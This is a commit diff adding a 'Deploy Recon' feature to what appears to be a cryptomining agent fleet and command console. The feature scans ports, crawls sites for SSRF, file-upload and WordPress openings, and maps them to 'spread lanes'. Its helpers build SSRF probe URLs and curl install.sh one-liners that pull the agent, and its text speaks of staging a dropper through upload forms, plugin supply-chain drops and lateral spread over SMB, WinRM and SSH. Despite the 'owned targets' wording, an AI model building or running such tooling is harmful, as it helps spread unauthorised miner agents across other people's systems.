Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
AetherForge
2026-06-07 11:23:10 -07:00
parent 483eafa9dd
commit f3e5a9a07d
40 changed files with 3091 additions and 4 deletions

View File

@@ -26,6 +26,7 @@ const ROIPage = lazy(() => import('./pages/ROIPage'));
const ActivityFeedPage = lazy(() => import('./pages/ActivityFeedPage'));
const SeerPage = lazy(() => import('./pages/SeerPage'));
const OathLedgerPage = lazy(() => import('./pages/OathLedgerPage'));
const DeployReconPage = lazy(() => import('./pages/DeployReconPage'));
export function PageFallback() {
return (
@@ -62,6 +63,8 @@ function App() {
<Route path="/builds" element={<BuildManagerPage />} />
<Route path="/emberwake" element={<EmberwakePage />} />
<Route path="/spread" element={<Navigate to="/emberwake" replace />} />
<Route path="/deploy-recon" element={<DeployReconPage />} />
<Route path="/browser-spread" element={<Navigate to="/deploy-recon" replace />} />
<Route path="/settings" element={<SettingsPage />} />
<Route path="/pathtracer" element={<PathTracerPage />} />
<Route path="/lotl-timeline" element={<LotlTimelinePage />} />

View File

@@ -351,6 +351,18 @@ export const api = {
}
},
getReconDeployKit: (params: { host: string; finding?: string }) => {
const q = new URLSearchParams({ host: params.host });
if (params.finding) q.set('finding', params.finding);
return fetchJSON<import('../types/recon').ReconDeployKitResponse>(`/recon/deploy-kit?${q.toString()}`);
},
postFleetSpreadToHost: (body: import('../types/recon').FleetSpreadToHostRequest) =>
fetchJSON<import('../types/recon').FleetSpreadToHostResponse>('/fleet/spread-to-host', {
method: 'POST',
body: JSON.stringify(body),
}),
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
pushFleetPolicy: (body: {
agent_ids: string[];
@@ -413,6 +425,13 @@ export const api = {
getWarRoom: (days = 7) =>
fetchJSON<import('../types').WarRoomResponse>(`/emberwake/war-room?days=${days}`),
reconScan: (body: import('../types/recon').ReconScanRequest, signal?: AbortSignal) =>
fetchJSON<import('../types/recon').ReconScanReport>(
'/recon/scan',
{ method: 'POST', body: JSON.stringify(body), signal },
25_000,
),
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
method: 'POST',

View File

@@ -30,6 +30,7 @@ interface FmCommandResult {
interface Props {
activeTab: 'ops' | 'recon' | 'files' | 'spread' | 'tunnels';
spreadHostHint?: string;
selectedAgents: Agent[];
selectedCount: number;
singleSelectedAgent: Agent | null;
@@ -51,6 +52,7 @@ interface Props {
export default function CrucibleExpandedOps({
activeTab,
spreadHostHint = '',
selectedAgents,
selectedCount,
singleSelectedAgent,
@@ -777,6 +779,11 @@ export default function CrucibleExpandedOps({
if (activeTab === 'spread') {
return (
<div className={panelClass}>
{spreadHostHint ? (
<p className="crucible-spread-host-hint" data-testid="crucible-spread-host-hint">
Deploy Recon target: <strong>{spreadHostHint}</strong> select egress agents and run Spread Now or Probe &amp; Join.
</p>
) : null}
<CrucibleCollapsibleSection label="Lateral Movement" className="cop-agg" helpField="crucible_section_spread" defaultOpen>
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('spread_now')} title={aggTitle('spread_now')} onClick={() => aggBulk('spread_now', {}, `Run lateral spread sweep on ${targets.length} node(s)?`)}>

View File

@@ -35,6 +35,7 @@ function operatorDeckId(pathname: string): string {
if (path.startsWith('/forge') || path.startsWith('/builder')) return 'forge';
if (path.startsWith('/crucible')) return 'crucible';
if (path.startsWith('/emberwake') || path.startsWith('/spread')) return 'emberwake';
if (path.startsWith('/deploy-recon') || path.startsWith('/browser-spread')) return 'deploy-recon';
if (path.startsWith('/builds')) return 'builds';
if (path.startsWith('/settings')) return 'settings';
if (path.startsWith('/pathtracer')) return 'pathtracer';
@@ -58,6 +59,7 @@ const NAV_BASE: readonly NavItem[] = [
{ to: '/mission-deck', label: 'Mission Deck', icon: 'mission', glow: true },
{ to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
{ to: '/deploy-recon', label: 'Deploy Recon', icon: 'recon' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
];
@@ -158,6 +160,14 @@ function NavIcon({ type }: { type: string }) {
<path d="M8 21h8" />
</svg>
);
case 'recon':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<circle cx="11" cy="11" r="7" />
<path d="M20 20l-3.5-3.5" />
<path d="M8 11h6M11 8v6" strokeOpacity="0.45" />
</svg>
);
case 'trace':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">

View File

@@ -0,0 +1,62 @@
import { describe, expect, it } from 'vitest';
import {
buildReconFindingCards,
buildReconMermaid,
crucibleSpreadLink,
curlInstallLine,
reconScanBody,
ssrfConfidence,
} from './deployRecon';
import type { ReconScanReport } from '../types/recon';
describe('deployRecon helpers', () => {
it('maps scan form to API body', () => {
expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({
host: '10.0.0.1',
port: 443,
scheme: 'https',
paths: ['/admin'],
});
});
it('builds curl one-liner with pinned build', () => {
const line = curlInstallLine('https://deck.example', 'build-abc');
expect(line).toContain('curl -sL');
expect(line).toContain('install.sh?pin=build-abc');
});
it('derives SSRF confidence from score', () => {
expect(ssrfConfidence(55)).toBe('high');
expect(ssrfConfidence(35)).toBe('medium');
expect(ssrfConfidence(5)).toBe('low');
});
it('builds finding cards from crawl report', () => {
const report: ReconScanReport = {
host: 'lab.local',
scanned_at: '2026-06-07T12:00:00Z',
ports: [{ port: 445, open: true }],
crawl: {
pages_fetched: 2,
ssrf_score: 40,
url_fields: [{ page_url: 'http://lab/upload', name: 'webhook_url', hint: 'url-like' }],
cms_fingerprints: ['wordpress'],
multipart_forms: [{
page_url: 'http://lab/upload',
method: 'post',
multipart: true,
has_file_input: true,
}],
},
};
const cards = buildReconFindingCards(report, 'https://deck.example');
expect(cards.some((c) => c.kind === 'ssrf')).toBe(true);
expect(cards.some((c) => c.kind === 'file_upload')).toBe(true);
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
});
it('crucible spread link encodes host and tab', () => {
expect(crucibleSpreadLink('10.0.0.5')).toBe('/crucible?tab=spread&spread_host=10.0.0.5');
});
});

View File

@@ -0,0 +1,137 @@
import { shOneliner, pinQuery } from './emberwake';
import type {
ReconConfidence,
ReconCrawlReport,
ReconPortResult,
ReconScanReport,
ReconWebFindingCard,
} from '../types/recon';
export const RECON_PORT_HINTS: Record<number, string> = {
22: 'SSH LOTL bootstrap',
80: 'curl install.sh browser drop',
443: 'curl install.sh browser drop',
445: 'SMB UNC spread',
3389: 'RDP surface',
5985: 'WinRM spread',
5986: 'WinRM TLS spread',
8080: 'HTTP-alt browser drop',
8443: 'HTTPS-alt browser drop',
};
export const FLEET_SPREAD_PORTS = new Set([22, 445, 5985, 5986]);
export function reconScanBody(
host: string,
port: number,
https: boolean,
pathPrefix: string,
): { host: string; port: number; scheme: string; paths?: string[] } {
const prefix = pathPrefix.trim();
const paths = prefix ? [prefix.startsWith('/') ? prefix : `/${prefix}`] : undefined;
return {
host: host.trim(),
port: port > 0 ? port : 80,
scheme: https ? 'https' : 'http',
paths,
};
}
export function ssrfConfidence(score: number): ReconConfidence {
if (score >= 50) return 'high';
if (score >= 30) return 'medium';
return 'low';
}
export function buildReconFindingCards(report: ReconScanReport, deckOrigin: string): ReconWebFindingCard[] {
const crawl = report.crawl;
const cards: ReconWebFindingCard[] = [];
if (!crawl) return cards;
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0) {
const field = crawl.url_fields?.[0];
const probe = field
? `${field.page_url}${field.page_url.includes('?') ? '&' : '?'}${field.name}=${encodeURIComponent(`${deckOrigin.replace(/\/$/, '')}/get`)}`
: `${deckOrigin.replace(/\/$/, '')}/get`;
cards.push({
id: 'ssrf',
kind: 'ssrf',
title: 'SSRF candidate fields',
detail: field
? `Reflective field "${field.name}" on ${field.page_url} — paste probe URL into the form.`
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
confidence: ssrfConfidence(crawl.ssrf_score),
spread_lane: 'ssrf',
probe_url: probe,
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[install.sh /get]',
});
}
const uploads = [...(crawl.multipart_forms ?? []), ...(crawl.file_inputs ?? [])];
if (uploads.length > 0) {
const u = uploads[0];
cards.push({
id: 'upload',
kind: 'file_upload',
title: 'File upload surface',
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} — stage dropper when extension policy allows.`,
confidence: u.multipart || u.has_file_input ? 'high' : 'medium',
spread_lane: 'stage_fetch',
mermaid: 'flowchart LR\n browser[multipart form] --> upload[file input]\n upload --> stage[stage_fetch]',
});
}
for (const cms of crawl.cms_fingerprints ?? []) {
cards.push({
id: `cms-${cms}`,
kind: 'cms',
title: `${cms} CMS hint`,
detail: `HTML/path signatures match ${cms} — supply-chain plugin or theme drop may apply.`,
confidence: cms === 'wordpress' ? 'high' : 'medium',
spread_lane: cms,
mermaid: `flowchart LR\n cms[${cms}] --> plugin[supply chain]\n plugin --> curl[curl install.sh]`,
});
}
if (cards.length === 0 && (crawl.pages_fetched ?? 0) > 0) {
cards.push({
id: 'web-live',
kind: 'info',
title: 'Web surface live',
detail: `Crawled ${crawl.pages_fetched} page(s) — browser curl one-liner may work on owned hosts.`,
confidence: 'low',
spread_lane: 'bits_curl',
mermaid: 'flowchart LR\n browser[operator] --> curl[curl install.sh]\n curl --> agent[join fleet]',
});
}
return cards;
}
export function buildReconMermaid(ports: ReconPortResult[], cards: ReconWebFindingCard[]): string {
const lines = ['flowchart TD', ' target[Target host]'];
let open = 0;
for (const p of ports) {
if (!p.open) continue;
open++;
const hint = RECON_PORT_HINTS[p.port] ?? `tcp/${p.port}`;
lines.push(` target --> p${p.port}["${p.port} open · ${hint}"]`);
}
if (open === 0) lines.push(' target --> closed[no fleet ports open]');
cards.slice(0, 3).forEach((c, i) => {
lines.push(` target --> f${i}[${c.kind}]`);
});
return lines.join('\n');
}
export function crucibleSpreadLink(host: string, finding?: string): string {
const q = new URLSearchParams({ reconHost: host.trim(), tab: 'spread' });
if (finding?.trim()) q.set('finding', finding.trim());
return `/crucible?${q.toString()}`;
}
export function curlInstallLine(serverBase: string, pinnedBuildId: string): string {
const base = serverBase.replace(/\/$/, '');
const q = pinnedBuildId ? pinQuery(pinnedBuildId) : '';
return shOneliner(base, q);
}

View File

@@ -140,6 +140,9 @@ export const DOC_ANCHORS: Record<string, string> = {
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
crucible_node_roster: '/docs/#dashboard',
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
crucible_full_audit: '/docs/#crucible-ops',
bm_pin_dropper: '/docs/#build-manager',
bm_dropper_oneliner: '/docs/#build-manager',

View File

@@ -11,6 +11,8 @@ const PAGE_LABELS: Record<string, string> = {
'/spread': 'Emberwake',
'/settings': 'Calibrate',
'/pathtracer': 'Path Tracer',
'/deploy-recon': 'Deploy Recon',
'/browser-spread': 'Deploy Recon',
};
export function presencePageLabel(path: string): string {

View File

@@ -110,6 +110,9 @@ describe('UI_HELP', () => {
'set_webhook',
'ui_color_scheme',
'crucible_section_spread_templates',
'dr_overview',
'dr_port_matrix',
'dr_path_prefix',
] as const;
it('defines help for every documented UI key', () => {

View File

@@ -225,4 +225,11 @@ export const UI_HELP: Record<string, string> = {
'HTTP POST endpoint that receives JSON for every enabled fleet event: { event, title, message }. Use for Slack incoming webhooks, n8n automation, custom dashboards, or any HTTP trigger.',
ui_color_scheme:
'AetherForge is steampunk dark-first. When your OS uses light mode, panels soften slightly via prefers-color-scheme — neon brass/cyan tokens stay the same. No separate theme toggle yet.',
dr_overview:
'Owned-target browser deploy recon from the control server: TCP port matrix, shallow web crawl for upload/SSRF/CMS hints, and copy-paste curl install.sh + SSRF probe URLs pinned to your session build.',
dr_port_matrix:
'Green cells are open TCP ports on the target from this server. Click an open port for the spread lane hint (WinRM, SMB, curl drop, SSH LOTL).',
dr_path_prefix:
'Optional URL path prefix for the web crawl seed (e.g. /admin). Port field sets the HTTP(S) service port; HTTPS toggle sets scheme.',
};

View File

@@ -1,7 +1,9 @@
import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
import { useSearchParams } from 'react-router-dom';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import type { Agent, AgentService } from '../types';
import type { FleetSpreadToHostResponse, ReconDeployKitResponse } from '../types/recon';
import NeonCard from '../components/NeonCard/NeonCard';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
@@ -347,9 +349,25 @@ const ROSTER_PAGE_SIZE = 80;
// ── Component ──────────────────────────────────────────────────────────────
function agentMatchesReconHost(agent: Agent, host: string): boolean {
const needle = host.trim().toLowerCase();
if (!needle) return false;
const ip = (agent.ip ?? '').trim().toLowerCase();
const name = agent.name.trim().toLowerCase();
const hostname = (agent.hostname ?? '').trim().toLowerCase();
return ip === needle || name === needle || hostname === needle;
}
export default function CruciblePage() {
const { agents, commandResults, latestMessage } = useWebSocket();
const { setCrucibleFocus } = useMatrixRain();
const [searchParams] = useSearchParams();
const reconHostParam =
searchParams.get('reconHost')?.trim() ||
searchParams.get('spread_host')?.trim() ||
'';
const reconFindingParam = searchParams.get('finding')?.trim() || '';
// Selection
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
@@ -379,6 +397,15 @@ export default function CruciblePage() {
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
const [activeTab, setActiveTab] = useState<'ops' | 'recon' | 'files' | 'spread' | 'tunnels'>('ops');
const [rosterPage, setRosterPage] = useState(0);
const [manualSpreadHost, setManualSpreadHost] = useState('');
const [deployKit, setDeployKit] = useState<ReconDeployKitResponse | null>(null);
const [spreadToHostResult, setSpreadToHostResult] = useState<FleetSpreadToHostResponse | null>(null);
const [reconSpreadBusy, setReconSpreadBusy] = useState(false);
const [reconSpreadMsg, setReconSpreadMsg] = useState('');
useEffect(() => {
if (searchParams.get('tab') === 'spread') setActiveTab('spread');
}, [searchParams]);
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
@@ -411,6 +438,95 @@ export default function CruciblePage() {
useEffect(() => {
setRosterPage(0);
}, [filters]);
const reconHost = manualSpreadHost.trim() || reconHostParam;
const reconMatchedAgents = useMemo(
() => (reconHost ? agents.filter((a) => agentMatchesReconHost(a, reconHost)) : []),
[agents, reconHost],
);
const reconReachableAgent = useMemo(
() => reconMatchedAgents.find((a) => a.status === 'online') ?? null,
[reconMatchedAgents],
);
const reconHostUnreachable = Boolean(reconHost) && !reconReachableAgent;
useEffect(() => {
const tab = searchParams.get('tab');
if (tab === 'spread' || tab === 'recon' || tab === 'ops' || tab === 'files' || tab === 'tunnels') {
setActiveTab(tab);
}
}, [searchParams]);
useEffect(() => {
if (!reconHostParam) return;
setManualSpreadHost(reconHostParam);
if (searchParams.get('tab') === 'spread') {
setActiveTab('spread');
}
}, [reconHostParam, searchParams]);
useEffect(() => {
if (!reconHost) {
setDeployKit(null);
return;
}
let cancelled = false;
api
.getReconDeployKit({ host: reconHost, finding: reconFindingParam || undefined })
.then((kit) => {
if (!cancelled) setDeployKit(kit);
})
.catch(() => {
if (!cancelled) setDeployKit(null);
});
return () => {
cancelled = true;
};
}, [reconHost, reconFindingParam]);
useEffect(() => {
if (!reconHost || reconMatchedAgents.length === 0) return;
const pick =
reconReachableAgent ??
[...reconMatchedAgents].sort((a, b) => {
if (a.status === 'online' && b.status !== 'online') return -1;
if (a.status !== 'online' && b.status === 'online') return 1;
return 0;
})[0];
if (pick) {
setSelectedIds(new Set([pick.id]));
if (searchParams.get('tab') === 'spread') setActiveTab('spread');
}
}, [reconHost, reconMatchedAgents, reconReachableAgent, searchParams]);
const runSpreadToUnreachableHost = useCallback(async () => {
const host = manualSpreadHost.trim() || reconHostParam;
if (!host) return;
setReconSpreadBusy(true);
setReconSpreadMsg('');
setSpreadToHostResult(null);
try {
const res = await api.postFleetSpreadToHost({
host,
finding: reconFindingParam || deployKit?.join_lane || undefined,
});
setSpreadToHostResult(res);
setReconSpreadMsg(
res.queued
? `Queued discover_and_join from ${res.seed_agent_name ?? res.seed_agent_id ?? 'seed agent'}.`
: (res.operator_note ?? 'Spread recommendation ready — see operator note.'),
);
if (res.seed_agent_id) {
setSelectedIds(new Set([res.seed_agent_id]));
setActiveTab('spread');
}
} catch (e) {
setReconSpreadMsg(e instanceof Error ? e.message : 'Spread-to-host failed');
} finally {
setReconSpreadBusy(false);
}
}, [manualSpreadHost, reconHostParam, reconFindingParam, deployKit?.join_lane]);
const selectedAgents = useMemo(
() => agents.filter((a) => selectedIds.has(a.id)),
[agents, selectedIds]
@@ -1089,6 +1205,67 @@ export default function CruciblePage() {
<AlsoHere page="/crucible" />
{reconHost && (
<NeonCard accent="magenta" className="crucible-recon-spread-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> Recon spread target{' '}
<HelpTip field="crucible_recon_host" />
</div>
{reconHostUnreachable ? (
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
Spread to unreachable host <code className="crucible-code">{reconHost}</code> no online agent on that IP.
Pick a manual target or seed discover from the best online hop on the same subnet.
</p>
) : (
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
Pre-filtered roster for recon host <code className="crucible-code">{reconHost}</code>
{reconReachableAgent ? `${reconReachableAgent.name} is online.` : '.'}
</p>
)}
<label className="seek-field-label" htmlFor="crucible-manual-spread-host">
Manual IP / hostname target
</label>
<input
id="crucible-manual-spread-host"
type="text"
className="crucible-inline-input crucible-seek-input"
placeholder="10.1.2.50"
value={manualSpreadHost}
onChange={(e) => setManualSpreadHost(e.target.value)}
/>
{deployKit?.join_lane && (
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
Deploy kit lane: <strong>{deployKit.join_lane}</strong>
{deployKit.matched_service ? ` (${deployKit.matched_service})` : ''}
{deployKit.dropper_urls?.install_sh ? (
<>
{' '}
<a href={deployKit.dropper_urls.install_sh} target="_blank" rel="noreferrer">install.sh</a>
</>
) : null}
</p>
)}
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap', marginTop: '0.5rem' }}>
<button
type="button"
className="button crucible-op-btn btn-cyan"
disabled={reconSpreadBusy || !(manualSpreadHost.trim() || reconHostParam)}
onClick={() => void runSpreadToUnreachableHost()}
>
{reconSpreadBusy ? 'Seeding…' : 'Spread to host'}
</button>
<HelpTip field="fleet_spread_to_host" />
</div>
{reconSpreadMsg && <p className="form-hint" style={{ marginTop: '0.35rem' }}>{reconSpreadMsg}</p>}
{spreadToHostResult?.recommended_command && (
<p className="form-hint font-tech" style={{ marginTop: '0.25rem', fontSize: '0.78rem' }}>
Recommended: {spreadToHostResult.recommended_command}
{spreadToHostResult.seed_agent_name ? ` via ${spreadToHostResult.seed_agent_name}` : ''}
</p>
)}
</NeonCard>
)}
{agents.length > 0 && (
<FleetToolbar
agents={agents}
@@ -1471,6 +1648,7 @@ export default function CruciblePage() {
<div className="crucible-ops-panel">
<CrucibleExpandedOps
activeTab={activeTab}
spreadHostHint={reconHost}
selectedAgents={selectedAgents}
selectedCount={selectedIds.size}
singleSelectedAgent={singleSelectedAgent}

View File

@@ -0,0 +1,192 @@
.deploy-recon-page {
display: flex;
flex-direction: column;
gap: 1.25rem;
}
.dr-scan-form {
display: grid;
grid-template-columns: 1fr 6rem 5rem 1fr auto;
gap: 0.65rem;
align-items: end;
}
@media (max-width: 900px) {
.dr-scan-form {
grid-template-columns: 1fr 1fr;
}
}
.dr-field label {
display: block;
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--text-muted);
margin-bottom: 0.25rem;
}
.dr-https-toggle {
display: flex;
align-items: center;
gap: 0.4rem;
min-height: 2.25rem;
font-size: 0.82rem;
}
.dr-results {
display: flex;
flex-direction: column;
gap: 1rem;
}
.dr-skeleton {
display: grid;
gap: 0.5rem;
}
.dr-skeleton-bar {
height: 0.85rem;
border-radius: 4px;
background: linear-gradient(90deg, rgba(255, 255, 255, 0.04), rgba(0, 232, 245, 0.08), rgba(255, 255, 255, 0.04));
background-size: 200% 100%;
animation: dr-shimmer 1.2s ease-in-out infinite;
}
@keyframes dr-shimmer {
0% { background-position: 100% 0; }
100% { background-position: -100% 0; }
}
.dr-section-title {
font-family: var(--font-tech);
font-size: 0.72rem;
letter-spacing: 0.08em;
text-transform: uppercase;
color: var(--neon-cyan);
margin: 0 0 0.5rem;
}
.dr-port-matrix {
display: flex;
flex-wrap: wrap;
gap: 0.45rem;
}
.dr-port-cell {
font-family: var(--font-tech);
font-size: 0.68rem;
padding: 0.35rem 0.55rem;
border-radius: 4px;
border: 1px solid rgba(255, 255, 255, 0.1);
background: rgba(255, 255, 255, 0.03);
color: var(--text-muted);
cursor: default;
}
.dr-port-cell.open {
border-color: rgba(0, 232, 245, 0.45);
background: rgba(0, 232, 245, 0.1);
color: #9efcff;
cursor: pointer;
}
.dr-port-cell.open:hover {
box-shadow: 0 0 12px rgba(0, 232, 245, 0.2);
}
.dr-port-hint {
margin-top: 0.35rem;
font-size: 0.74rem;
color: var(--text-muted);
min-height: 1.1rem;
}
.dr-findings-grid {
display: grid;
gap: 0.75rem;
}
.dr-finding-card {
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 6px;
padding: 0.75rem;
background: rgba(0, 0, 0, 0.22);
}
.dr-finding-head {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 0.45rem;
margin-bottom: 0.35rem;
}
.dr-finding-title {
font-weight: 600;
font-size: 0.9rem;
}
.dr-confidence {
font-family: var(--font-tech);
font-size: 0.62rem;
letter-spacing: 0.05em;
padding: 1px 6px;
border-radius: 3px;
text-transform: uppercase;
}
.dr-confidence.high {
color: #ff8866;
border: 1px solid rgba(255, 120, 40, 0.35);
background: rgba(255, 120, 40, 0.12);
}
.dr-confidence.medium {
color: var(--neon-amber, #ffb347);
border: 1px solid rgba(255, 180, 60, 0.3);
background: rgba(255, 180, 60, 0.1);
}
.dr-confidence.low {
color: var(--text-muted);
border: 1px solid rgba(255, 255, 255, 0.12);
background: rgba(255, 255, 255, 0.05);
}
.dr-finding-detail {
font-size: 0.8rem;
color: var(--text-muted);
margin: 0 0 0.5rem;
}
.dr-mermaid {
font-family: monospace;
font-size: 0.66rem;
padding: 0.45rem;
background: rgba(0, 0, 0, 0.35);
white-space: pre;
border-radius: 4px;
margin: 0.5rem 0;
overflow-x: auto;
}
.dr-deploy-panel {
display: flex;
flex-wrap: wrap;
gap: 0.45rem;
margin-top: 0.5rem;
padding-top: 0.5rem;
border-top: 1px solid rgba(255, 255, 255, 0.06);
}
.dr-error {
color: #ff6688;
font-size: 0.82rem;
}
.dr-empty {
color: var(--text-muted);
font-size: 0.82rem;
}

View File

@@ -0,0 +1,115 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import DeployReconPage from './DeployReconPage';
import { routerFuture } from '../routerFuture';
import { api } from '../api/client';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import type { ReconScanReport } from '../types/recon';
vi.mock('../components/HelpTip', () => ({
HelpTip: () => null,
}));
const sampleReport: ReconScanReport = {
host: 'scan.lab',
scanned_at: '2026-06-07T12:00:00Z',
ports: [
{ port: 22, open: false },
{ port: 445, open: true },
{ port: 5985, open: true },
],
crawl: {
pages_fetched: 1,
ssrf_score: 45,
url_fields: [{ page_url: 'http://scan.lab/', name: 'url', hint: 'url' }],
cms_fingerprints: ['wordpress'],
},
recommendations: [{ lane: 'winrm', reason: 'WinRM open', priority: 30 }],
};
function renderPage() {
return render(
<MemoryRouter future={routerFuture}>
<DeployReconPage />
</MemoryRouter>,
);
}
describe('DeployReconPage', () => {
beforeEach(() => {
vi.clearAllMocks();
vi.spyOn(api, 'listBuilds').mockResolvedValue([
{
id: 'pin-build',
worker_name: 'worker',
server_url: 'http://localhost:8989',
wallet: '4' + 'A'.repeat(94),
threads: 4,
file_size: 1024,
file_path: 'builds/agent.exe',
file_name: 'agent.exe',
created_at: '2026-06-07T12:00:00Z',
pool_host: 'pool.example.com',
pool_port: 3333,
pool_tls: false,
pool_pass: 'x',
platform: 'windows',
download_url: '/api/v1/builds/pin-build/download',
pinned: true,
},
]);
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport);
vi.stubGlobal('navigator', {
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
});
});
afterEach(() => {
vi.unstubAllGlobals();
cleanup();
});
it('renders hero and scan form', async () => {
renderPage();
expect(await screen.findByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeInTheDocument();
expect(screen.getByTestId('dr-host-input')).toBeInTheDocument();
expect(screen.getByTestId('dr-scan-btn')).toBeDisabled();
});
it('runs scan and shows port matrix and findings', async () => {
const user = userEvent.setup();
renderPage();
await user.type(screen.getByTestId('dr-host-input'), 'scan.lab');
await user.click(screen.getByTestId('dr-scan-btn'));
expect(await screen.findByTestId('dr-results')).toBeInTheDocument();
await waitFor(() => expect(api.reconScan).toHaveBeenCalled());
expect(screen.getByTestId('dr-port-matrix')).toBeInTheDocument();
expect(screen.getByTestId('dr-finding-ssrf')).toBeInTheDocument();
expect(screen.getByRole('link', { name: /Fleet spread to scan\.lab/i })).toHaveAttribute(
'href',
'/crucible?tab=spread&spread_host=scan.lab',
);
});
it('shows skeleton while scanning', async () => {
let resolveScan!: (v: ReconScanReport) => void;
vi.spyOn(api, 'reconScan').mockImplementation(
() => new Promise((res) => { resolveScan = res; }),
);
const user = userEvent.setup();
renderPage();
await user.type(screen.getByTestId('dr-host-input'), 'slow.lab');
await user.click(screen.getByTestId('dr-scan-btn'));
expect(screen.getByTestId('dr-scan-skeleton')).toBeInTheDocument();
resolveScan(sampleReport);
expect(await screen.findByTestId('dr-results')).toBeInTheDocument();
});
});

View File

@@ -0,0 +1,345 @@
import { memo, useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord } from '../types';
import type { ReconPortResult, ReconScanReport, ReconWebFindingCard } from '../types/recon';
import { HelpTip } from '../components/HelpTip';
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
import {
FLEET_SPREAD_PORTS,
RECON_PORT_HINTS,
buildReconFindingCards,
buildReconMermaid,
crucibleSpreadLink,
curlInstallLine,
reconScanBody,
} from '../help/deployRecon';
import './DeployReconPage.css';
import '../components/Fleet/ReconVisuals.css';
const SCAN_DEBOUNCE_MS = 350;
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
void navigator.clipboard?.writeText(text).then(() => {
setOk(true);
setTimeout(() => setOk(false), 1500);
}).catch(() => {});
};
return (
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
{ok ? 'Copied' : label}
</button>
);
}
function ScanSkeleton() {
return (
<div className="dr-skeleton" data-testid="dr-scan-skeleton" aria-busy="true">
<div className="dr-skeleton-bar" style={{ width: '40%' }} />
<div className="dr-skeleton-bar" style={{ width: '88%' }} />
<div className="dr-skeleton-bar" style={{ width: '72%' }} />
<div className="dr-skeleton-bar" style={{ width: '60%' }} />
</div>
);
}
const PortMatrix = memo(function PortMatrix({
ports,
onHint,
}: {
ports: ReconPortResult[];
onHint: (hint: string) => void;
}) {
return (
<div data-testid="dr-port-matrix">
<h3 className="dr-section-title">
Port matrix <HelpTip field="dr_port_matrix" />
</h3>
<div className="dr-port-matrix">
{ports.map((p) => (
<button
key={p.port}
type="button"
className={`dr-port-cell${p.open ? ' open' : ''}`}
disabled={!p.open}
title={p.open ? RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open` : `TCP ${p.port} closed`}
onClick={() => {
if (p.open) onHint(RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open`);
}}
>
{p.port}
{p.open ? ' ●' : ' ○'}
</button>
))}
</div>
</div>
);
});
const FindingCard = memo(function FindingCard({
card,
curlLine,
host,
fleetSpreadOpen,
}: {
card: ReconWebFindingCard;
curlLine: string;
host: string;
fleetSpreadOpen: boolean;
}) {
return (
<article className="dr-finding-card" data-testid={`dr-finding-${card.id}`}>
<div className="dr-finding-head">
<span className="dr-finding-title">{card.title}</span>
<span className={`dr-confidence ${card.confidence}`}>{card.confidence}</span>
{card.spread_lane ? (
<span className="join-lane-badge">{card.spread_lane}</span>
) : null}
</div>
<p className="dr-finding-detail">{card.detail}</p>
{card.mermaid ? <pre className="dr-mermaid">{card.mermaid}</pre> : null}
<div className="dr-deploy-panel">
<CopyChip text={curlLine} label="Copy curl install.sh" />
{card.probe_url ? (
